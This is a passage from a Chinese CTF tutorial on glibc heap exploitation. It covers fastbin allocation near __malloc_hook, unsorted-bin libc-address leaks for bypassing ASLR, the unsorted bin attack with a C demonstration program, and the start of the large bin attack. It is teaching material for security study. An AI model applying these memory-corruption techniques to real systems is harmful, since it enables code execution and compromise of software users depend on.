number">5</span><span class="token punctuation">,</span> size<span class="token operator">=</span><span class="token number">0x60</span><span class="token punctuation">]</span>Fastbins<span class="token punctuation">[</span>idx<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">,</span> size<span class="token operator">=</span><span class="token number">0x70</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>观察发现 <code>0x7ffff7dd1af5</code> 处可以实现错位构造出一个 <code>0x000000000000007f</code>，因为 <code>0x7f</code> 在计算 <code>fast bin index</code> 时，是属于 <code>index 5</code> 的，即 <code>chunk</code> 大小为 <code>0x70</code>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">##define <span class="token function">fastbin_index</span><span class="token punctuation">(</span>sz<span class="token punctuation">)</span>                                                      \    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span> <span class="token punctuation">(</span>sz<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">>></span> <span class="token punctuation">(</span>SIZE_SZ <span class="token operator">==</span> <span class="token number">8</span> <span class="token operator">?</span> <span class="token number">4</span> <span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">)</span>   <span class="token comment">// 注意 sz 的大小是 unsigned int，因此只占 4 个字节</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>而 <code>chunk</code> 大小为 <code>0x70</code> 又包含了 <code>0x10</code> 的 <code>chunk_header</code>，因此我们选择分配 <code>0x60</code> 的 <code>fast bin</code>，将其加入链表：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A858.png" alt="CTF - PWN_堆相关的漏洞与利用58.png"></p><p>经过两次 <code>malloc</code> 分配后，可以观察到 <code>chunk</code> 被分配到 <code>0x7ffff7dd1afd</code>，因此我们就可以直接控制 <code>__malloc_hook</code> 的内容：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A859.png" alt="CTF - PWN_堆相关的漏洞与利用59.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A860.png" alt="CTF - PWN_堆相关的漏洞与利用60.png"></p><p>在我的 Glibc 2.23 中 <code>__realloc_hook</code> 与 <code>__malloc_hook</code> 是连在一起的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A861.png" alt="CTF - PWN_堆相关的漏洞与利用61.png"></p><hr><h1 id="Unsorted-bin-Attack"><a href="#Unsorted-bin-Attack" class="headerlink" title="Unsorted bin Attack"></a>Unsorted bin Attack</h1><blockquote><p>Unsorted bin Attack 是一类漏洞的利用方法，是指所有基于 <code>unsorted bin</code> 机制的漏洞利用方法</p><p>参考文章：<a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/#unsorted-bin">Unsorted Bin Attack - CTF Wiki</a></p></blockquote><p>Unsorted bin Attack 的利用前提：</p><ul><li>控制 <code>unsorted bin chunk</code> 的 <code>bk</code> 指针</li></ul><p>Unsorted bin Attack 可以达到的效果是：<strong>实现修改任意地址值为一个较大的数值</strong></p><hr><h2 id="Unsorted-bin-Leak"><a href="#Unsorted-bin-Leak" class="headerlink" title="Unsorted bin Leak"></a>Unsorted bin Leak</h2><blockquote><p><code>unsorted bin</code> 首先可以用来<strong>泄露一些信息</strong></p></blockquote><p>由于 <code>unsorted bin</code> 在管理时为循环双向链表，若 <code>unsorted bin</code> 中有两个 <code>bin</code>，那么该链表结构如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A862.png" alt="CTF - PWN_堆相关的漏洞与利用62.png"></p><p>也就是说，在该链表中必有一个节点（不准确的说，是尾节点，这个就意会一下把，毕竟循环链表实际上没有头尾）的 <code>fd</code> 指针会指向 <code>main_arena</code> 结构体内部</p><p>如果我们可以把正确的 <code>fd</code> 指针泄露出来，就可以获得一个与 <code>main_arena</code> 有固定偏移的地址，这个偏移可以通过 GDB 调试得出</p><blockquote><p><code>main_arena</code> 是一个 <code>struct malloc_state</code> 类型的全局变量，是 <code>ptmalloc2</code> 管理主分配区的唯一实例，其会被分配在 <code>.data</code> 或者 <code>.bss</code> 等段上</p><p><strong>如果我们有进程所使用的 <code>libc.so</code> 文件的话，就可以获得 <code>main_arena</code> 与 libc 基地址的偏移，实现对 <code>ASLR</code> 的绕过</strong></p></blockquote><p>获得 <code>main_arena</code> 与 libc 基地址的偏移主要有两种方法：</p><ul><li>通过 <code>__malloc_trim</code> 函数得出  </li><li>通过 <code>__malloc_hook</code> 直接计算</li></ul><p>一般来说，要实现 Unsorted bin Leak，需要有 UAF</p><blockquote><p>在 CTF 中，一般的笔记管理题都会有 <code>show</code> 的功能，对<strong>处于 unsorted bin 链表尾的节点</strong> <code>show</code> 就可以获得 <code>libc</code> 的基地址了</p><p>另外，CTF 中堆往往是刚刚初始化的，所以 <code>unsorted bin</code> 一般都是干净的，<mark>当 <code>unsorted bin</code> 中只存在一个 <code>bin</code> 的时候，该 <code>bin</code> 的 <code>fd</code> 和 <code>bk</code> 都会指向 <code>main_arena</code> 中</mark></p></blockquote><p>另外，<strong>如果我们无法做到访问链表尾，但是可以访问链表头</strong>：</p><ul><li>在 32 位的环境下，对链表头进行 <code>printf</code> 等操作，往往可以把 <code>fd</code> 和 <code>bk</code> 一起输出出来，这个时候同样可以实现有效的 leak  </li><li>在 64 位的环境下，由于高地址往往为 <code>\x00</code>，很多输出函数会被截断，这个时候可能就难以实现有效的 leak</li></ul><hr><h3 id="通过-malloc-trim-得到偏移"><a href="#通过-malloc-trim-得到偏移" class="headerlink" title="通过 __malloc_trim() 得到偏移"></a>通过 __malloc_trim() 得到偏移</h3><p>在 <code>malloc.c</code> 中有这样一段代码：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span><span class="token function">__malloc_trim</span> <span class="token punctuation">(</span>size_t s<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> result <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>__malloc_initialized <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">ptmalloc_init</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  mstate ar_ptr <span class="token operator">=</span> <span class="token operator">&amp;</span>main_arena<span class="token punctuation">;</span>   <span class="token comment">// &lt;= here!</span>  <span class="token keyword">do</span>    <span class="token punctuation">&#123;</span>      <span class="token function">__libc_lock_lock</span> <span class="token punctuation">(</span>ar_ptr<span class="token operator">-></span>mutex<span class="token punctuation">)</span><span class="token punctuation">;</span>      result <span class="token operator">|=</span> <span class="token function">mtrim</span> <span class="token punctuation">(</span>ar_ptr<span class="token punctuation">,</span> s<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token function">__libc_lock_unlock</span> <span class="token punctuation">(</span>ar_ptr<span class="token operator">-></span>mutex<span class="token punctuation">)</span><span class="token punctuation">;</span>      ar_ptr <span class="token operator">=</span> ar_ptr<span class="token operator">-></span>next<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token keyword">while</span> <span class="token punctuation">(</span>ar_ptr <span class="token operator">!=</span> <span class="token operator">&amp;</span>main_arena<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>注意到 <code>mstate ar_ptr = &amp;main_arena</code> 这里对 <code>main_arena</code> 进行了访问，所以<strong>通过 IDA 分析 libc 文件中的 <code>malloc_trim()</code> 函数就可以得到 libc 偏移了</strong></p><p>以 Glibc 2.23 中的 <code>malloc_trim()</code> 函数为例：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A863.png" alt="CTF - PWN_堆相关的漏洞与利用63.png"></p><p>其位于 <code>.bss</code> 段上，可见 <code>main_arena</code> 与 libc 基地址的偏移为 <code>0x3C4B20</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A864.png" alt="CTF - PWN_堆相关的漏洞与利用64.png"></p><p>我们以 《<a href="18c02ebd.html">【Asis CTF 2016】b00ks</a>》 一文中泄漏的地址来进行验证：（同为 Glibc 2.23 环境）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks34.png" alt="【Asis CTF 2016】b00ks34.png"></p><p><code>main_arena</code> 与 libc 基地址的偏移为：<code>0x7efea8cc9b20 - 0x7efea8905000 = 0x3c4b20</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A865.png" alt="CTF - PWN_堆相关的漏洞与利用65.png"></p><hr><h3 id="通过-malloc-hook-计算偏移"><a href="#通过-malloc-hook-计算偏移" class="headerlink" title="通过 __malloc_hook 计算偏移"></a>通过 __malloc_hook 计算偏移</h3><p><code>main_arena</code> 和 <code>__malloc_hook</code> 的地址差是 0x10，而大多数的 libc 都可以直接查出 <code>__malloc_hook</code> 的地址</p><p>因此 <code>main_arena</code> 与 libc 基地址的偏移可以直接得到：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">main_arena_offset <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"libc.so.6"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"__malloc_hook"</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token number">0x10</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><hr><h2 id="Unsorted-bin-Attack-1"><a href="#Unsorted-bin-Attack-1" class="headerlink" title="Unsorted bin Attack"></a>Unsorted bin Attack</h2><p>在 <code>glibc/malloc/malloc.c</code> 中的 <code>_int_malloc</code> 有这么一段代码：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">/* remove from unsorted list */</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">__glibc_unlikely</span> <span class="token punctuation">(</span>bck<span class="token operator">-></span>fd <span class="token operator">!=</span> victim<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token function">malloc_printerr</span> <span class="token punctuation">(</span><span class="token string">"malloc(): corrupted unsorted chunks 3"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">unsorted_chunks</span> <span class="token punctuation">(</span>av<span class="token punctuation">)</span><span class="token operator">-></span>bk <span class="token operator">=</span> bck<span class="token punctuation">;</span>bck<span class="token operator">-></span>fd <span class="token operator">=</span> <span class="token function">unsorted_chunks</span> <span class="token punctuation">(</span>av<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>当将一个 <code>unsorted bin</code> 取出的时候，会将 <code>bck -&gt; fd</code> 的位置写入本 <code>unsorted bin</code> 的位置</p><p>也就是说，<strong>如果我们控制了 <code>bk</code> 的值，就能将 <code>unsorted_chunks (av)</code> 写到任意地址</strong></p><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">unsigned</span> <span class="token keyword">long</span> target_var <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>   <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"%p: %ld\n"</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>target_var<span class="token punctuation">,</span> target_var<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">unsigned</span> <span class="token keyword">long</span> <span class="token operator">*</span>p <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">400</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">500</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">free</span><span class="token punctuation">(</span>p<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"bk pointer point to %p\n"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span><span class="token punctuation">)</span>p<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">/*------------VULNERABILITY-----------*/</span>  p<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>target_var <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"%p\n"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span><span class="token punctuation">)</span>p<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//------------------------------------</span>  <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">400</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"%p: %p\n"</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>target_var<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span><span class="token punctuation">)</span>target_var<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>接下来，我们通过 GDB 调试分析一下整个过程</p><p>首先分配了两个堆块 <code>chunk1</code> 和 <code>chunk2</code>，其中第二个堆块用来防止与 <code>top chunk</code> 合并</p><p>然后释放 <code>chunk1</code>，将其置于 <code>unsorted bin</code> 中，可以看到其 <code>bk</code> 指针指向 <code>0x00007ffff7dd1b78</code>，由于此时 <code>unsorted bin</code> 只有一个，因此 <code>fd</code> 与 <code>bk</code> 指针相同</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A866.png" alt="CTF - PWN_堆相关的漏洞与利用66.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A873.png" alt="CTF - PWN_堆相关的漏洞与利用73.png"></p><p>假设我们通过堆溢出或其他手段修改 <code>bk</code> 指针，使其指向 <code>target_var - 16</code> 的位置（这里是以 64 位程序作为示例，如果是 32 位程序，则指向 <code>target_var - 8</code> 的位置）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A867.png" alt="CTF - PWN_堆相关的漏洞与利用67.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A872.png" alt="CTF - PWN_堆相关的漏洞与利用72.png"></p><p><code>target_var - 16</code> 处是我们伪造的 <code>chunk</code>，即：<code>target_var</code> 处于伪造 <code>chunk</code> 的 <code>fd</code> 处</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A868.png" alt="CTF - PWN_堆相关的漏洞与利用68.png"></p><p>然后，我们通过 <code>malloc(400)</code> 再次申请相同大小的空间</p><p>由于所申请的 <code>chunk</code> 处于 <code>small bin</code> 所在的范围，其对应的 <code>bin</code> 中暂时没有 <code>chunk</code>，所以会去 <code>unsorted bin</code> 中找，发现 <code>unsorted bin</code> 不为空，于是把 <code>unsorted bin</code> 中的最后一个 <code>chunk</code> 取出来，而 <code>unsorted bin</code> 中的最后一个 <code>chunk</code> 是我们伪造的 <code>chunk</code></p><p>此时堆并没有什么改变，依然是 <code>unsorted bin</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A869.png" alt="CTF - PWN_堆相关的漏洞与利用69.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A871.png" alt="CTF - PWN_堆相关的漏洞与利用71.png"></p><p>但是 <code>0x7fffffffdc88</code>（<code>target_var</code>）地址处已经被修改为 <code>unsorted bin</code> 的链表头部 <code>0x00007ffff7dd1b78</code>，即 <code>fd</code> 指针：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A870.png" alt="CTF - PWN_堆相关的漏洞与利用70.png"></p><blockquote><p>注意：</p><p>虽然我们修改了 <code>target</code> 处的值，但 <code>unsorted bin</code> 链表也可能就此破坏，在插入 <code>chunk</code> 时，可能会出现问题</p></blockquote><p>从上面的示例我们可以看到，<strong>Unsorted bin Attack 确实可以修改任意地址的值，但是所修改成的值却不受我们控制，唯一可以知道的是，这个值比较大</strong>，一般可以作为以下用途：</p><ul><li>我们通过修改循环的次数来使得程序可以执行多次循环  </li><li>我们可以修改 <code>heap</code> 中的 <code>global_max_fast</code> 来使得更大的 <code>chunk</code> 可以被视为 <code>fast bin</code>，这样我们就可以去执行一些 <code>fast bin attack</code> 了</li></ul><hr><h1 id="Large-bin-Attack"><a href="#Large-bin-Attack" class="headerlink" title="Large bin Attack"></a>Large bin Attack</h1><blockquote><p>Large bin Attack 是一类漏洞的利用方法，是指所有基于 <code>large bin</code> 机制的漏洞利用方法</p><p>参考文章：<a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/">Large Bin Attack - CTF Wiki</a></p></blockquote><p>Large bin Attack 主要利用的是 <code>chunk</code> 进入 <code>bin</code> 中的操作，在 <code>malloc</code> 的时候，遍历 <code>unsorted bin</code> 时，对每一个 <code>chunk</code>，若无法 <code>exact-fit</code> 分配或不满足切割分配的条件，就会将该 <code>chunk</code> 置入相应的 <code>bin</code> 中，而此过程中缺乏对 <code>large bin</code> 的跳表指针的检测</p><p>Glibc 2.33 中关于 Large bin 的入 bin 操作：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">else</span>            <span class="token punctuation">&#123;</span>              victim_index <span class="token operator">=</span> <span class="token function">largebin_index</span> <span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span>              bck <span class="token operator">=</span> <span class="token function">bin_at</span> <span class="token punctuation">(</span>av<span class="token punctuation">,</span> victim_index<span class="token punctuation">)</span><span class="token punctuation">;</span>              fwd <span class="token operator">=</span> bck<span class="token operator">-></span>fd<span class="token punctuation">;</span>              <span class="token comment">/* maintain large bins in sorted order */</span>              <span class="token keyword">if</span> <span class="token punctuation">(</span>fwd <span class="token operator">!=</span> bck<span class="token punctuation">)</span>                <span class="token punctuation">&#123;</span>                  <span class="token comment">/* Or with inuse bit to speed comparisons */</span>                  size <span class="token operator">|=</span> PREV_INUSE<span class="token punctuation">;</span>                  <span class="token comment">/* if smaller than smallest, bypass loop below */</span>                  <span class="token function">assert</span> <span class="token punctuation">(</span><span class="token function">chunk_main_arena</span> <span class="token punctuation">(</span>bck<span class="token operator">-></span>bk<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span><span class="token punctuation">)</span> <span class="token punctuation">(</span>size<span class="token punctuation">)</span>              <span class="token operator">&lt;</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span><span class="token punctuation">)</span> <span class="token function">chunksize_nomask</span> <span class="token punctuation">(</span>bck<span class="token operator">-></span>bk<span class="token punctuation">)</span><span class="token punctuation">)</span>                    <span class="token punctuation">&#123;</span>                      fwd <span class="token operator">=</span> bck<span class="token punctuation">;</span>                      bck <span class="token operator">=</span> bck<span class="token operator">-></span>bk<span class="token punctuation">;</span>                      victim<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> fwd<span class="token operator">-></span>fd<span class="token punctuation">;</span>                      victim<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> fwd<span class="token operator">-></span>fd<span class="token operator">-></span>bk_nextsize<span class="token punctuation">;</span>                      fwd<span class="token operator">-></span>fd<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> victim<span class="token operator">-></span>bk_nextsize<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> victim<span class="token punctuation">;</span>                    <span class="token punctuation">&#125;</span>                  <span class="token keyword">else</span>                    <span class="token punctuation">&#123;</span>                      <span class="token function">assert</span> <span class="token punctuation">(</span><span class="token function">chunk_main_arena</span> <span class="token punctuation">(</span>fwd<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                      <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span><span class="token punctuation">)</span> size <span class="token operator">&lt;</span> <span class="token function">chunksize_nomask</span> <span class="token punctuation">(</span>fwd<span class="token punctuation">)</span><span class="token punctuation">)</span>                        <span class="token punctuation">&#123;</span>                          fwd <span class="token operator">=</span> fwd<span class="token operator">-></span>fd_nextsize<span class="token punctuation">;</span>              <span class="token function">assert</span> <span class="token punctuation">(</span><span class="token function">chunk_main_arena</span> <span class="token punctuation">(</span>fwd<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token punctuation">&#125;</span>                      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span><span class="token punctuation">)</span> size              <span class="token operator">==</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span><span class="token punctuation">)</span> <span class="token function">chunksize_nomask</span> <span class="token punctuation">(</span>fwd<span class="token punctuation">)</span><span class="token punctuation">)</span>                        <span class="token comment">/* Always insert in the second position.  */</span>                        fwd <span class="token operator">=</span> fwd<span class="token operator">-></span>fd<span class="token punctuation">;</span>                      <span class="token keyword">else</span>                        <span class="token punctuation">&#123;</span>                          victim<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> fwd<span class="token punctuation">;</span>                          victim<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> fwd<span class="token operator">-></span>bk_nextsize<span class="token punctuation">;</span>                          <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">__glibc_unlikely</span> <span class="token punctuation">(</span>fwd<span class="token operator">-></span>bk_nextsize<span class="token operator">-></span>fd_nextsize <span class="token operator">!=</span> fwd<span class="token punctuation">)</span><span class="token punctuation">)</span>                            <span class="token function">malloc_printerr</span> <span class="token punctuation">(</span><span class="token string">"malloc(): largebin double linked list corrupted (nextsize)"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                          fwd<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> victim<span class="token punctuation">;</span>                          victim<span class="token operator">-></span>bk_nextsize<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> victim<span class="token punctuation">;</span>                        <span class="token punctuation">&#125;</span>                      bck <span class="token operator">=</span> fwd<span class="token operator">-></span>bk<span class="token punctuation">;</span>                      <span class="token keyword">if</span> <span class="token punctuation">(</span>bck<span class="token operator">-></span>fd <span class="token operator">!=</span> fwd<span class="token punctuation">)</span>                        <span class="token function">malloc_printerr</span> <span class="token punctuation">(</span><span class="token string">"malloc(): largebin double linked list corrupted (bk)"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    <span class="token punctuation">&#125;</span>                <span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在 Glibc 2.29 及以下的版本中，根据 <code>unsorted bin chunk</code> 的大小不同</p><p>在 <code>unsorted bin chunk</code> 小于链表中最小的 <code>chunk</code> 的时候会执行前一句，反之执行后一句：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">fwd<span class="token operator">-></span>fd<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> victim<span class="token operator">-></span>bk_nextsize<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> victim<span class="token punctuation">;</span>victim<span class="token operator">-></span>bk_nextsize<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> victim<span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>由于两者大小相同的时候只会使用如下的方法插入，所以此时无法利用：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span><span class="token punctuation">)</span> size              <span class="token operator">==</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span><span class="token punctuation">)</span> <span class="token function">chunksize_nomask</span> <span class="token punctuation">(</span>fwd<span class="token punctuation">)</span><span class="token punctuation">)</span>                        <span class="token comment">/* Always insert in the second position.  */</span>                        fwd <span class="token operator">=</span> fwd<span class="token operator">-></span>fd<span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">主要介绍了堆的一些常见漏洞和利用方法</summary>
    
    
    
